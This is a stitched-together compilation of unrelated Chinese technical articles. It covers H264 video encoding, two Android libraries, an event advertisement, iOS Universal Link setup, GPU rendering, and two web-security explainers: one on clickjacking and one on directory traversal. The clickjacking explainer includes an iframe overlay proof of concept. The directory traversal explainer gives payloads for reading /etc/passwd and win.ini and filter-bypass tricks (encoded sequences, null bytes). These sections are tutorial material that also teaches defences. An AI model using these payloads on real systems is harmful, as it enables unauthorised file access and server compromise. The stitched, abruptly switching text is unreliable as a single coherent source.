回顾一下视频里面到底是什么

内容元素

1.图像（image）
2.音频（Audio）
3.元素信息（Meta-data）

编码格式

1.Video:H264
2.Audio:AAC(后面文章讲)
3.容器封装:MP4/MOV/FLV/RM/RMVB/AVI

H264

当我们需要对发送的视频文件进行编码时，只要是H264文件，AVFoundation都提供视频编解码器支持，这个标准被广泛应用于消费者视频摄像头捕捉到的资源并成为网页流媒体视频最主要的格式。H264规范是MPEG4定义的一部分，H264遵循早期的MPEG-1/MPEG-2标准，但是在以更低比特率得到 更高图片质量方面有了进步。

编码的本质

为什么要编码？

举个例子: （具体大小我没数过，只做讲解参考）
你的老公，Helen，将于明天晚上6点零5份在重庆的江北机场接你
----------------------23 * 2 + 10 = 56个字符--------------------------
你的老公将于明天晚上6点零5分在江北机场接你
----------------------20 * 2 + 2 = 42个字符----------------------------
Helen将于明天晚上6点在机场接你
----------------------10 * 2 + 2 = 26个字符----------------------------

相信大家看了这个例子之后，心里应该大概明白编码的本质：只要不接收方不会产生误解，就可以产生数据的承载量，编码视频的本质也是如此，编码的本质就是减少数据的冗余

• 在引入I(关键)帧，B/P(参考)帧之前，我们先来了解一下人眼和视频摄像头的对帧的识别

  我们人眼看实物的时候，一般的一秒钟只要是连续的16帧以上，我们就会认为事物是动的，对于摄像头来说，一秒钟所采集的图片远远高于了16帧，可以达到几十帧，对于一些高质量的摄像头，一秒钟可以达到60帧，对于一般的事物来说，你一秒钟能改变多少个做动作？所以，当摄像头在一秒钟内采集视频的时候，前后两帧的图片数据里有大量的相同数据，对于这些数据我们该怎么处理了？当然前后两帧也有不同的数据，对于这些相同或者不同的数据的处理过程，就是编码

I帧（I-frames，也叫关键帧）

• 我们知道在视频的传输过程中，它是分片段传输的，这个片段的第一帧，也就是第一张图片，就是I帧，也就是传说中的关键帧
• I帧：也就是关键帧，帧内压缩（也就是压缩独立视频帧，被称为帧内压缩），帧内压缩通过消除包含在每个独立视频帧内的色彩以及结构中的冗余信息来进行压缩，因此可在不降低图片适量的情况下尽可能的缩小尺寸，这类似于JEPG压缩的原理，帧内压缩也可以称为有损压缩算法，但通常用于对原因图片的一部分进行处理，以生成极高质量的照片，通过这一过程的创建的帧称为I-frames；将第一帧完整的保存下来.如果没有这个关键帧后面解码数据,是完成不了的.所以I帧特别关键.

P帧（P-frames，又称为预测帧）

• P帧：向前参考帧（在I帧（关键帧）后，P帧参考关键帧，保存下一帧和前一帧的不同数据）.压缩时只参考前一个帧.属于帧间压缩技术.
• 帧间压缩技术：很多帧被组合在一起作为一组图片（简称GOP），对于GOP所存在的时间维度的冗余可以被消除，如果想象视频文件中的典型场景，就会有一些特定的运动元素的概念，比如行驶中的汽车或者街道上行走的路人，场景的背景环信通道是固定的，或者在一定的时间内，有些元素的改变很小或者不变，这些数据就称为时间上的冗余，这些数据就可以通过帧间压缩的方式进行消除，也就是帧间压缩，视频的第一帧会被作为关键帧完整保存下来.而后面的帧会向前依赖.也就是第二帧依赖于第一个帧.后面所有的帧只存储于前一帧的差异.这样就能将数据大大的减少.从而达到一个高压缩率的效果.这就是P帧，保存前后两帧不通的数据

B帧（B-frames，又称为双向帧）

• B帧，又叫双向帧，它是基于使用前后两帧进行编码后得到的帧，几乎不需要存储空间，但是解压过程会消耗较长的时间，因为它依赖周围其他的帧
• B帧的特点：B帧使得视频的压缩率更高.存储的数据量更小.如果B帧的数量越多,你的压缩率就越高.这是B帧的优点,但是B帧最大的缺点是,如果是实时互动的直播,那时与B帧就要参考后面的帧才能解码,那在网络中就要等待后面的帧传输过来.这就与网络有关了.如果网络状态很好的话,解码会比较快,如果网络不好时解码会稍微慢一些.丢包时还需要重传.对实时互动的直播,一般不会使用B帧.如果在泛娱乐的直播中,可以接受一定度的延时,需要比较高的压缩比就可以使用B帧.如果我们在实时互动的直播,我们需要提高时效性,这时就不能使用B帧了.

GOP一组帧的理解

• 如果在一秒钟内,有30帧.这30帧可以画成一组.如果摄像机或者镜头它一分钟之内它都没有发生大的变化.那也可以把这一分钟内所有的帧画做一组.

• 什么叫一组帧?
  就是一个I帧到下一个I帧.这一组的数据.包括B帧/P帧.我们称为GOP

• 视频花屏/卡顿原因

  • 我们平常在观看视频的时候，出现视频的花屏或者卡顿，第一反应就是我们的网络出现了问题，其实我们的网络没有问题，是我们在解码的时候I帧，B/P帧出现了丢失
  • 如果GOP分组中的P帧丢失就会造成解码端的图像发生错误.
  • 为了避免花屏问题的发生,一般如果发现P帧或者I帧丢失.就不显示本GOP内的所有帧.只到下一个I帧来后重新刷新图像.
  • 当这时因为没有刷新屏幕.丢包的这一组帧全部扔掉了.图像就会卡在哪里不动.这就是卡顿的原因.

所以总结起来,花屏是因为你丢了P帧或者I帧.导致解码错误. 而卡顿是因为为了怕花屏,将整组错误的GOP数据扔掉了.直达下一组正确的GOP再重新刷屏.而这中间的时间差,就是我们所感受的卡顿.

作者：枫紫_6174
链接：https://www.jianshu.com/p/94d2a8bbc3ac

事情起源

activity 或者 fragment 每次跳转传值的时候，你是不是都很厌烦那种，参数传递。 那么如果数据极其多的情况下，你的代码将苦不堪言，即使在很好的设计下，也会很蛋疼。那么今天我给大家推荐一个工具 和咱原生跳转进行比较

比较：

1.跳转方式比较

bash Intenti=new Intent(this,MainActivity.class); 
startActivity(i);

vs

ApMainActivity.newInstance().start(this)
//发送  Intenti=new Intent(this,MainActivity.class);
Bundle bundle = new Bundle(); 
bundle.putInt("message", "123"); 
i.putExtra("Bundle", bundle); 
startActivity(i); 
//接收 
String s=bundle.getString("message","");

vs

//发送 
 ApMainActivity.newInstance().apply { message = "123" } .start(this) 
 //接收 
 AutoJ.inject(this);

实体发送 

//发送 
ApAllDataActivity.newInstance().apply { message = "123" myData = MyData("hfafas",true,21) } .start(this) 
 //接收
 AutoJ.inject(this);

目前 版本号 v1.0.7 更新内容：（专门为kotlin设计的快速跳转工具，如果你的项目只支持java语言请不要用该版本，建议用v1.0.2 地址 Version number v1.0.2） 

1. 代码采用kotlin 语法糖 
2. 支持默认值功能 
3. 不再支持Serializable数据传输，改为性能更好的 Parcelable 大对象传输 
4. 支持多进程activity 跳转 
5. 降低内存占用，可回收内存提升
AutoPage
github地址 https://github.com/smartbackme/AutoPage 
如果觉得不错 github 给个星 Android 容易的跳转工具
注意事项：
必须有如下两个要求
androidx
kotlin & java
支持传输类型
bundle 支持的基本类型都支持（除ShortArray） 以下类型都支持，如果类型不是如下类型，可能会报kapt错误

:Parcelable

String

Long

Int

Boolean

Char

Byte

Float

Double

Short

CharSequence

CharArray

IntArray

LongArray

BooleanArray

DoubleArray

FloatArray

ByteArray

ArrayList

ArrayList<:Parcelable>

Array<:Parcelable>

###使用

project : build.gradle 项目的gradle配置

   buildscript { repositories { maven { url 'https://www.jitpack.io' } } 

在你的每个需要做容易跳转的模块添加如下配置 

3. 你的项目必须要支持 kapt 

4. kotlin kapt 

5. 你的项目必须支持 @Parcelize 注解 也就是必须添加 

apply plugin: 'kotlin-android-extensions' 
apply plugin: 'kotlin-android-extensions' 
apply plugin: 'kotlin-kapt'
android { androidExtensions { experimental = true } }


kapt com.github.smartbackme.AutoPage:autopage-processor:1.0.7

implementation com.github.smartbackme.AutoPage:autopage:1.0.7

重点

1. @AutoPage 只能在字段或者类上标注

1. Ap 作为前缀，为你快速跳转

kotlin： 

1. 字段必须标注 @JvmField 和 @AutoPage 

2. onCreate 中 在你的需要跳转的页面加入 AutoJ.inject(this)

java： 

1. 字段必须标注 @AutoPage 

2. onCreate 中 在你的需要跳转的页面加入 AutoJ.inject(this)

### Activity 中使用

例1

简单的跳转

@AutoPage 
class SimpleJump1Activity : AppCompatActivity() { 
override fun onCreate(savedInstanceState: Bundle?) { 
super.onCreate(savedInstanceState) 
 setContentView(R.layout.activity_simple_jump1)
 } 
}

之后调用

ApSimpleJump1Activity.newInstance().start(this)

例2

简单的跳转并且带参数

class MainActivity2 : AppCompatActivity() {


@AutoPage

@JvmField

var message:String? = null



override fun onCreate(savedInstanceState: Bundle?) {

    super.onCreate(savedInstanceState)

    setContentView(R.layout.activity_main2)

    AutoJ.inject(this)

    findViewById(R.id.text).text = message

}

 之后调用

ApMainActivity2.newInstance().apply { message = "123" } .start(this)

例3:

跳转带有result

@AutoPage class SimpleJumpResultActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) {     super.onCreate(savedInstanceState)     setContentView(R.layout.activitysimplejump_result) }override fun onBackPressed() {

    var intent = Intent()

    intent.putExtra("message","123")

    setResult(RESULT_OK,intent)

    super.onBackPressed()

}

之后调用

ApSimpleJumpResultActivity.newInstance().apply { requestCode = 1 }.start(this)

例4:

实体传输

实体 

 @Parcelize 
data class MyData(var message:String,var hehehe: Boolean,var temp :Int):Parcelable

class AllDataActivity : AppCompatActivity() {


@AutoPage

@JvmField

var myData:MyData? = null

@AutoPage

@JvmField

var message:String? = "this is default value"

override fun onCreate(savedInstanceState: Bundle?) {

    super.onCreate(savedInstanceState)



    setContentView(R.layout.activity_all_data)

    AutoJ.inject(this)





    Toast.makeText(this,myData?.toString()+message,Toast.LENGTH_LONG).show()

}

之后调用

ApAllDataActivity.newInstance().apply { message = "123" myData = MyData("hfafas",true,21)

例5:

默认值

class DefaultValueActivity : AppCompatActivity() {


@AutoPage

@JvmField

var message:String? = "this is default value"



override fun onCreate(savedInstanceState: Bundle?) {

    super.onCreate(savedInstanceState)

    setContentView(R.layout.activity_default_value)

    AutoJ.inject(this)

    // var args = intent.getParcelableExtra("123") 
    findViewById(R.id.button6).text = message 
} 
} 

之后调用

ApDefaultValueActivity.newInstance().apply { } .start(this)

# 在 fragment 中使用

class FragmentSimpleFragment : Fragment() {


@AutoPage

@JvmField

var message:String? = null



companion object {

    fun newInstance() = FragmentSimpleFragment()

}



private lateinit var viewModel: SimpleViewModel



override fun onCreateView(

    inflater: LayoutInflater, container: ViewGroup?,

    savedInstanceState: Bundle?

): View {

    return inflater.inflate(R.layout.simple_fragment, container, false)

}



override fun onActivityCreated(savedInstanceState: Bundle?) {

    super.onActivityCreated(savedInstanceState)

    AutoJ.inject(this)

    viewModel = ViewModelProvider(this).get(SimpleViewModel::class.java)

    view?.findViewById(R.id.message)?.text = message



}

}

之后调用

ApFragmentSimpleFragment.newInstance().apply { message = "123" }.build()

下载地址：AutoPage-master.zip

4月23日晚20:00

邀您一起收看线上直播【科创人· 案例研习社】

听环信CTO赵贵斌为您讲述【开门5件事：一个CTO的随想】

当今国内移动应用市场竞争日趋激烈，对于更广大的移动应用及开发者群体来说，如何开辟新的商业价值航路，成了当务之急，因此“出海”成了业界寻找出路的普遍战略选择。

除了少数垂直领域的头部产品之外，更多的开发者和应用都表现出了“水土不服”的症候：产品本地化不理想，政策合规难捉摸，缺少资源两眼一抹黑……这些都是老生常谈的出海难题了。

当众多移动应用产品开始将出海作为“紧急避险”，那么这些问题就从“槽点”变成了必须尽快破解的燃眉之急。

蝉学院大咖分享会本期课程

蝉大师将联合环信的大咖

一起来聊聊看国内移动应用该怎么做～

____    『蝉学院2021』   ____

    2020年，蝉大师已面向全球移动应用开发者、中高端运营推广人员推出涵盖线上及线下的一系列公开课程。

    为千万用户提供了业内最新热点、用户运营、流量变现、产品推广等实战经验；并帮助相关人员了解当前互联网行业的趋势及增量技巧。

    2021年，蝉学院·大咖分享会系列将邀请众多行业一线大咖，快速捕捉热点、深度剖析观点，为大家提供一个交流分享、观点碰撞的全新平台。

    我们已整装待发，期待您与我们并肩同行！

____    『活动合集』   ____

____    『主办方』   ____

      蝉大师是App大数据分析与应用全球推广优化专家。作为Apple官方数据提供商，平台每日跟踪全球数百万款App以及各大海外信息平台实时动态，每日获取数据超过15T，为全球的上千万移动互联网应用从业者和推广者提供基础数据分析和支持。是国内首家提供全球155个国家与地区的榜单、关键词、热搜以及苹果搜索广告数据的公司，并在全国首家实现苹果ASM竞价搜索广告60个国家地区的数据查询。官网：chandashi.com

      环信是国内领行的企业级软件服务提供商，荣膺“Gartner 2016 Cool Vendor”。旗下主要产品线包括即时通讯能力PaaS平台——环信即时通讯云，全场景音视频PaaS平台——环信实时音视频云，全媒体智能客服SaaS平台——环信客服云，以及企业级人工智能服务能力平台——环信机器人，是国内较早覆盖云通讯、云客服、智能机器人的一体化产品技术储备企服公司。

Universe Link跳转流程

步骤

1.登录苹果开发者中心  选择对应的appid ☑️勾选 Associated Domains  此处标记的Team ID 和 bundle ID  后面文件会用到

2. 用text   创建  apple-app-site-association  文件     去掉后缀！！！！！

3.打开xcode 工程 配置下图文件

4.在appdelegate 里面 回调接收url  获取链接里面的参数

引言

作为程序员，我们或多或少知道可视化应用程序都是由 CPU 和 GPU 协作执行的。那么我们就先来了解一下两者的基本概念：

1.CPU（Central Processing Unit）：现代计算机的三大核心部分之一，作为整个系统的运算和控制单元。CPU 内部的流水线结构使其拥有一定程度的并行计算能力。

2.GPU（Graphics Processing Unit）：一种可进行绘图运算工作的专用微处理器。GPU 能够生成 2D/3D 的图形图像和视频，从而能够支持基于窗口的操作系统、图形用户界面、视频游戏、可视化图像应用和视频播放。GPU 具有非常强的并行计算能力。

这时候可能会产生一个问题：CPU 难道不能代替 GPU 来进行图形渲染吗？答案当然是肯定的，不过在看了下面这个视频就明白为什么要用 GPU 来进行图形渲染了。

GPU CPU 模拟绘图视频

使用 GPU 渲染图形的根本原因就是：速度。GPU 的并行计算能力使其能够快速将图形结果计算出来并在屏幕的所有像素中进行显示。

那么像素是如何绘制在屏幕上的？计算机将存储在内存中的形状转换成实际绘制在屏幕上的对应的过程称为 渲染。渲染过程中最常用的技术就是 光栅化。

关于光栅化的概念，以下图为例，假如有一道绿光与存储在内存中的一堆三角形中的某一个在三维空间坐标中存在相交的关系。那么这些处于相交位置的像素都会被绘制到屏幕上。当然这些三角形在三维空间中的前后关系也会以遮挡或部分遮挡的形式在屏幕上呈现出来。一句话总结：

光栅化就是将数据转化成可见像素的过程。

GPU 则是执行转换过程的硬件部件。由于这个过程涉及到屏幕上的每一个像素，所以 GPU 被设计成了一个高度并行化的硬件部件。

下面，我们来简单了解一下 GPU 的历史。

GPU 历史

GPU 还未出现前，PC 上的图形操作是由 视频图形阵列（VGA，Video Graphics Array） 控制器完成。VGA 控制器由连接到一定容量的DRAM上的存储控制器和显示产生器构成。

1997 年，VGA 控制器开始具备一些 3D 加速功能，包括用于 三角形生成、光栅化、纹理贴图 和 阴影。

2000 年，一个单片处图形处理器继承了传统高端工作站图形流水线的几乎每一个细节。因此诞生了一个新的术语 GPU 用来表示图形设备已经变成了一个处理器。

随着时间的推移，GPU 的可编程能力愈发强大，其作为可编程处理器取代了固定功能的专用逻辑，同时保持了基本的 3D 图形流水线组织。

近年来，GPU 增加了处理器指令和存储器硬件，以支持通用编程语言，并创立了一种编程环境，从而允许使用熟悉的语言（包括 C/C++）对 GPU 进行编程。

如今，GPU 及其相关驱动实现了图形处理中的 OpenGL 和 DirectX 模型，从而允许开发者能够轻易地操作硬件。OpenGL 严格来说并不是常规意义上的 API，而是一个第三方标准（由 khronos 组织制定并维护），其严格定义了每个函数该如何执行，以及它们的输出值。至于每个函数内部具体是如何实现的，则由 OpenGL 库的开发者自行决定。实际 OpenGL 库的开发者通常是显卡的生产商。DirectX 则是由 Microsoft 提供一套第三方标准。

GPU 图形渲染流水线

GPU 图形渲染流水线的主要工作可以被划分为两个部分：

把 3D 坐标转换为 2D 坐标

把 2D 坐标转变为实际的有颜色的像素

GPU 图形渲染流水线的具体实现可分为六个阶段，如下图所示。

顶点着色器（Vertex Shader）
形状装配（Shape Assembly），又称 图元装配
几何着色器（Geometry Shader）
光栅化（Rasterization）
片段着色器（Fragment Shader）
测试与混合（Tests and Blending）

第一阶段，顶点着色器。该阶段的输入是 顶点数据（Vertex Data） 数据，比如以数组的形式传递 3 个 3D 坐标用来表示一个三角形。顶点数据是一系列顶点的集合。顶点着色器主要的目的是把 3D 坐标转为另一种 3D 坐标，同时顶点着色器可以对顶点属性进行一些基本处理。

第二阶段，形状（图元）装配。该阶段将顶点着色器输出的所有顶点作为输入，并将所有的点装配成指定图元的形状。图中则是一个三角形。图元（Primitive） 用于表示如何渲染顶点数据，如：点、线、三角形。

第三阶段，几何着色器。该阶段把图元形式的一系列顶点的集合作为输入，它可以通过产生新顶点构造出新的（或是其它的）图元来生成其他形状。例子中，它生成了另一个三角形。

第四阶段，光栅化。该阶段会把图元映射为最终屏幕上相应的像素，生成片段。片段（Fragment） 是渲染一个像素所需要的所有数据。

第五阶段，片段着色器。该阶段首先会对输入的片段进行 裁切（Clipping）。裁切会丢弃超出视图以外的所有像素，用来提升执行效率。

第六阶段，测试与混合。该阶段会检测片段的对应的深度值（z 坐标），判断这个像素位于其它物体的前面还是后面，决定是否应该丢弃。此外，该阶段还会检查 alpha 值（ alpha 值定义了一个物体的透明度），从而对物体进行混合。因此，即使在片段着色器中计算出来了一个像素输出的颜色，在渲染多个三角形的时候最后的像素颜色也可能完全不同。

关于混合，GPU 采用如下公式进行计算，并得出最后的颜色。

R = S + D * (1 - Sa)

关于公式的含义，假设有两个像素 S(source) 和 D(destination)，S 在 z 轴方向相对靠前（在上面），D 在 z 轴方向相对靠后（在下面），那么最终的颜色值就是 S（上面像素） 的颜色 + D（下面像素） 的颜色 * （1 - S（上面像素） 颜色的透明度）。

上述流水线以绘制一个三角形为进行介绍，可以为每个顶点添加颜色来增加图形的细节，从而创建图像。但是，如果让图形看上去更加真实，需要足够多的顶点和颜色，相应也会产生更大的开销。为了提高生产效率和执行效率，开发者经常会使用 纹理（Texture） 来表现细节。纹理是一个 2D 图片（甚至也有 1D 和 3D 的纹理）。纹理一般可以直接作为图形渲染流水线的第五阶段的输入。

最后，我们还需要知道上述阶段中的着色器事实上是一些程序，它们运行在 GPU 中成千上万的小处理器核中。这些着色器允许开发者进行配置，从而可以高效地控制图形渲染流水线中的特定部分。由于它们运行在 GPU 中，因此可以降低 CPU 的负荷。着色器可以使用多种语言编写，OpenGL 提供了 GLSL（OpenGL Shading Language） 着色器语言。

GPU 存储系统

早期的 GPU，不同的着色器对应有着不同的硬件单元。如今，GPU 流水线则使用一个统一的硬件来运行所有的着色器。此外，nVidia 还提出了 CUDA（Compute Unified Device Architecture） 编程模型，可以允许开发者通过编写 C 代码来访问 GPU 中所有的处理器核，从而深度挖掘 GPU 的并行计算能力。

下图所示为 GPU 内部的层级结构。最底层是计算机的系统内存，其次是 GPU 的内部存储，然后依次是两级 cache：L2 和 L1，每个 L1 cache 连接至一个 流处理器（SM，stream processor）。

SM L1 Cache 的存储容量大约为 16 至 64KB。

GPU L2 Cache 的存储容量大约为几百 KB。

GPU 的内存最大为 12GB。

GPU 上的各级存储系统与对应层级的计算机存储系统相比要小不少。

此外，GPU 内存并不具有一致性，也就意味着并不支持并发读取和并发写入。

GPU 流处理器

下图所示为 GPU 中每个流处理器的内部结构示意图。每个流处理器集成了一个 L1 Cache。顶部是处理器核共享的寄存器堆。

CPU-GPU 异构系统

至此，我们大致了解了 GPU 的工作原理和内部结构，那么实际应用中 CPU 和 GPU 又是如何协同工作的呢？

下图所示为两种常见的 CPU-GPU 异构架构。

左图是分离式的结构，CPU 和 GPU 拥有各自的存储系统，两者通过 PCI-e 总线进行连接。这种结构的缺点在于 PCI-e 相对于两者具有低带宽和高延迟，数据的传输成了其中的性能瓶颈。目前使用非常广泛，如PC、智能手机等。

右图是耦合式的结构，CPU 和 GPU 共享内存和缓存。AMD 的 APU 采用的就是这种结构，目前主要使用在游戏主机中，如 PS4。

注意，目前很多 SoC 都是集成了CPU 和 GPU，事实上这仅仅是在物理上进行了集成，并不意味着它们使用的就是耦合式结构，大多数采用的还是分离式结构。耦合式结构是在系统上进行了集成。

在存储管理方面，分离式结构中 CPU 和 GPU 各自拥有独立的内存，两者共享一套虚拟地址空间，必要时会进行内存拷贝。对于耦合式结构，GPU 没有独立的内存，与 GPU 共享系统内存，由 MMU 进行存储管理。

图形应用程序调用 OpenGL 或 Direct3D API 功能，将 GPU 作为协处理器使用。API 通过面向特殊 GPU 优化的图形设备驱动向 GPU 发送命令、程序、数据。

GPU 资源管理模型

下图所示为分离式异构系统中 GPU 的资源管理模型示意图。

MMIO（Memory-Mapped I/O）

CPU 通过 MMIO 访问 GPU 的寄存器状态。
通过 MMIO 传送数据块传输命令，支持 DMA 的硬件可以实现块数据传输。

GPU Context

上下文表示 GPU 的计算状态，在 GPU 中占据部分虚拟地址空间。多个活跃态下的上下文可以在 GPU 中并存。

CPU Channel

来自 CPU 操作 GPU 的命令存储在内存中，并提交至 GPU channel 硬件单元。
每个 GPU 上下文可拥有多个 GPU Channel。每个 GPU 上下文都包含 GPU channel 描述符（GPU 内存中的内存对象）。
每个 GPU Channel 描述符存储了channel 的配置，如：其所在的页表。
每个 GPU Channel 都有一个专用的命令缓冲区，该缓冲区分配在 GPU 内存中，通过 MMIO 对 CPU 可见。

GPU 页表

GPU 上下文使用 GPU 页表进行分配，该表将虚拟地址空间与其他地址空间隔离开来。
GPU 页表与 CPU 页表分离，其驻留在 GPU 内存中，物理地址位于 GPU 通道描述符中。
通过 GPU channel 提交的所有命令和程序都在对应的 GPU 虚拟地址空间中执行。
GPU 页表将 GPU 虚拟地址不仅转换为 GPU 设备物理地址，还转换为主机物理地址。这使得 GPU 页面表能够将 GPU 存储器和主存储器统一到统一的 GPU 虚拟地址空间中，从而构成一个完成的虚拟地址空间。

PFIFO Engine

PFIFO 是一个提交 GPU 命令的特殊引擎。
PFIFO 维护多个独立的命令队列，即 channel。
命令队列是带有 put 和 get 指针的环形缓冲器。
PFIFO 引擎会拦截多有对通道控制区域的访问以供执行。
GPU 驱动使用一个通道描述符来存储关联通道的设置。

BO

缓冲对象（Buffer Object）。一块内存，可以用来存储纹理，渲染对象，着色器代码等等。

CPU-GPU 工作流

下图所示为 CPU-GPU 异构系统的工作流，当 CPU 遇到图像处理的需求时，会调用 GPU 进行处理，主要流程可以分为以下四步：

1.将主存的处理数据复制到显存中

2.CPU 指令驱动 GPU

3.GPU 中的每个运算单元并行处理

4.GPU 将显存结果传回主存

屏幕图像显示原理

介绍屏幕图像显示的原理，需要先从 CRT 显示器原理说起，如下图所示。CRT 的电子枪从上到下逐行扫描，扫描完成后显示器就呈现一帧画面。然后电子枪回到初始位置进行下一次扫描。为了同步显示器的显示过程和系统的视频控制器，显示器会用硬件时钟产生一系列的定时信号。当电子枪换行进行扫描时，显示器会发出一个水平同步信号（horizonal synchronization），简称 HSync；而当一帧画面绘制完成后，电子枪回复到原位，准备画下一帧前，显示器会发出一个垂直同步信号（vertical synchronization），简称 VSync。显示器通常以固定频率进行刷新，这个刷新率就是 VSync 信号产生的频率。虽然现在的显示器基本都是液晶显示屏了，但其原理基本一致。

下图所示为常见的 CPU、GPU、显示器工作方式。CPU 计算好显示内容提交至 GPU，GPU 渲染完成后将渲染结果存入帧缓冲区，视频控制器会按照 VSync 信号逐帧读取帧缓冲区的数据，经过数据转换后最终由显示器进行显示。

最简单的情况下，帧缓冲区只有一个。此时，帧缓冲区的读取和刷新都都会有比较大的效率问题。为了解决效率问题，GPU 通常会引入两个缓冲区，即 双缓冲机制。在这种情况下，GPU 会预先渲染一帧放入一个缓冲区中，用于视频控制器的读取。当下一帧渲染完毕后，GPU 会直接把视频控制器的指针指向第二个缓冲器。

双缓冲虽然能解决效率问题，但会引入一个新的问题。当视频控制器还未读取完成时，即屏幕内容刚显示一半时，GPU 将新的一帧内容提交到帧缓冲区并把两个缓冲区进行交换后，视频控制器就会把新的一帧数据的下半段显示到屏幕上，造成画面撕裂现象，如下图：

为了解决这个问题，GPU 通常有一个机制叫做垂直同步（简写也是 V-Sync），当开启垂直同步后，GPU 会等待显示器的 VSync 信号发出后，才进行新的一帧渲染和缓冲区更新。这样能解决画面撕裂现象，也增加了画面流畅度，但需要消费更多的计算资源，也会带来部分延迟。

摘自：http://chuquan.me/2018/08/26/graphics-rending-principle-gpu

QMUI Android 的设计目的是用于辅助快速搭建一个具备基本设计还原效果的 Android 项目，同时利用自身提供的丰富控件及兼容处理，让开发者能专注于业务需求而无需耗费精力在基础代码的设计上。不管是新项目的创建，或是已有项目的维护，均可使开发效率和项目质量得到大幅度提升。

功能特性

全局 UI 配置

只需要修改一份配置表就可以调整 App 的全局样式，包括组件颜色、导航栏、对话框、列表等。一处修改，全局生效。

丰富的 UI 控件

提供丰富常用的 UI 控件，例如 BottomSheet、Tab、圆角 ImageView、下拉刷新等，使用方便灵活，并且支持自定义控件的样式。

高效的工具方法

提供高效的工具方法，包括设备信息、屏幕信息、键盘管理、状态栏管理等，可以解决各种常见场景并大幅度提升开发效率。

开始使用

implementation 'com.qmuiteam:qmui:2.0.0-alpha10'

def qmui_arch_version = '2.0.0-alpha10'
implementation "com.qmuiteam:arch:$qmui_arch_version"
kapt "com.qmuiteam:arch-compiler:$qmui_arch_version" // use annotationProcessor if java

override fun onCreate() {
super.onCreate()
    QMUISwipeBackActivityManager.init(this)
}

-keep class **_FragmentFinder { *; }
-keep class androidx.fragment.app.* { *; }

-keep class com.qmuiteam.qmui.arch.record.RecordIdClassMap { *; }
-keep class com.qmuiteam.qmui.arch.record.RecordIdClassMapImpl { *; }

-keep class com.qmuiteam.qmui.arch.scheme.SchemeMap {*;}
-keep class com.qmuiteam.qmui.arch.scheme.SchemeMapImpl {*;}

代码下载:QMUI_Android-master.zip

原文链接:https://github.com/Tencent/QMUI_Android

Clickjacking ( UI redressing )

在本节中，我们将解释什么是 clickjacking 点击劫持，并描述常见的点击劫持攻击示例，以及讨论如何防御这些攻击。

什么是点击劫持

点击劫持是一种基于界面的攻击，通过诱导用户点击钓鱼网站中的被隐藏了的可操作的危险内容。

例如：某个用户被诱导访问了一个钓鱼网站（可能是点击了电子邮件中的链接），然后点击了一个赢取大奖的按钮。实际情况则是，攻击者在这个赢取大奖的按钮下面隐藏了另一个网站上向其他账户进行支付的按钮，而结果就是用户被诱骗进行了支付。这就是一个点击劫持攻击的例子。这项技术实际上就是通过 iframe 合并两个页面，真实操作的页面被隐藏，而诱骗用户点击的页面则显示出来。点击劫持攻击与 CSRF 攻击的不同之处在于，点击劫持需要用户执行某种操作，比如点击按钮，而 CSRF 则是在用户不知情或者没有输入的情况下伪造整个请求。

<head>

  <style>

    #target_website {

      position:relative;

      width:128px;

      height:128px;

      opacity:0.00001;

      z-index:2;

      }

    #decoy_website {

      position:absolute;

      width:300px;

      height:400px;

      z-index:1;

      }

  </style>

</head>

...

<body>

  <div id="decoy_website">

  ...decoy web content here...

  </div>

  <iframe id="target_website" src="https://vulnerable-website.com">

  </iframe>

</body>

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

X-Frame-Options: deny

X-Frame-Options: sameorigin

X-Frame-Options: allow-from https://normal-website.com

Content-Security-Policy: policy

Content-Security-Policy: frame-ancestors 'self';

Content-Security-Policy: frame-ancestors normal-website.com;

来看看视频里面到底有什么

Directory traversal - 目录遍历

在本节中，我们将介绍什么是目录遍历，描述如何执行路径遍历攻击和绕过常见障碍，并阐明如何防止路径遍历漏洞。

什么是目录遍历？

目录遍历（也称为文件路径遍历）是一个 web 安全漏洞，此漏洞使攻击者能够读取运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据、后端系统的凭据以及操作系统相关敏感文件。在某些情况下，攻击者可能能够对服务器上的任意文件进行写入，从而允许他们修改应用程序数据或行为，并最终完全控制服务器。

通过目录遍历读取任意文件

假设某个应用程序通过如下 HTML 加载图像：

![](/loadImage?filename=218.png)

这个 loadImage URL 通过 filename 文件名参数来返回指定文件的内容，假设图像本身存储在路径为 /var/www/images/ 的磁盘上。应用程序基于此基准路径与请求的 filename 文件名返回如下路径的图像：

/var/www/images/218.png

如果该应用程序没有针对目录遍历攻击采取任何防御措施，那么攻击者可以请求类似如下 URL 从服务器的文件系统中检索任意文件：

https://insecure-website.com/loadImage?filename=../../../etc/passwd

这将导致如下路径的文件被返回：

/var/www/images/../../../etc/passwd

../ 表示上级目录，因此这个文件其实就是：

/etc/passwd

在 Unix 操作系统上，这个文件是一个内容为该服务器上注册用户详细信息的标准文件。

在 Windows 系统上，..\ 和 ../ 的作用相同，都表示上级目录，因此检索标准操作系统文件可以通过如下方式：

https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

利用文件路径遍历漏洞的常见障碍

许多将用户输入放入文件路径的应用程序实现了某种应对路径遍历攻击的防御措施，然而这些措施却通常可以被规避。

如果应用程序从用户输入的 filename 中剥离或阻止 ..\ 目录遍历序列，那么也可以使用各种技巧绕过防御。

你可以使用从系统根目录开始的绝对路径，例如 filename=/etc/passwd 这样直接引用文件而不使用任何 ..\ 形式的遍历序列。

你也可以嵌套的遍历序列，例如 ....// 或者 ....\/ ，即使内联序列被剥离，其也可以恢复为简单的遍历序列。

你还可以使用各种非标准编码，例如 ..%c0%af 或者 ..%252f 以绕过输入过滤器。

如果应用程序要求用户提供的文件名必须以指定的文件夹开头，例如 /var/www/images ，则可以使用后跟遍历序列的方式绕过，例如：

filename=/var/www/images/../../../etc/passwd

如果应用程序要求用户提供的文件名必须以指定的后缀结尾，例如 .png ，那么可以使用空字节在所需扩展名之前有效地终止文件路径并绕过检查：

filename=../../../etc/passwd%00.png

如何防御目录遍历攻击

防御文件路径遍历漏洞最有效的方式是避免将用户提供的输入直接完整地传递给文件系统 API 。许多实现此功能的应用程序部分可以重写，以更安全的方式提供相同的行为。

如果认为将用户输入传递到文件系统 API 是不可避免的，则应该同时使用以下两层防御措施：

• 应用程序对用户输入进行严格验证。理想情况下，通过白名单的形式只允许明确的指定值。如果无法满足需求，那么应该验证输入是否只包含允许的内容，例如纯字母数字字符。
• 验证用户输入后，应用程序应该将输入附加到基准目录下，并使用平台文件系统 API 规范化路径，然后验证规范化后的路径是否以基准目录开头。

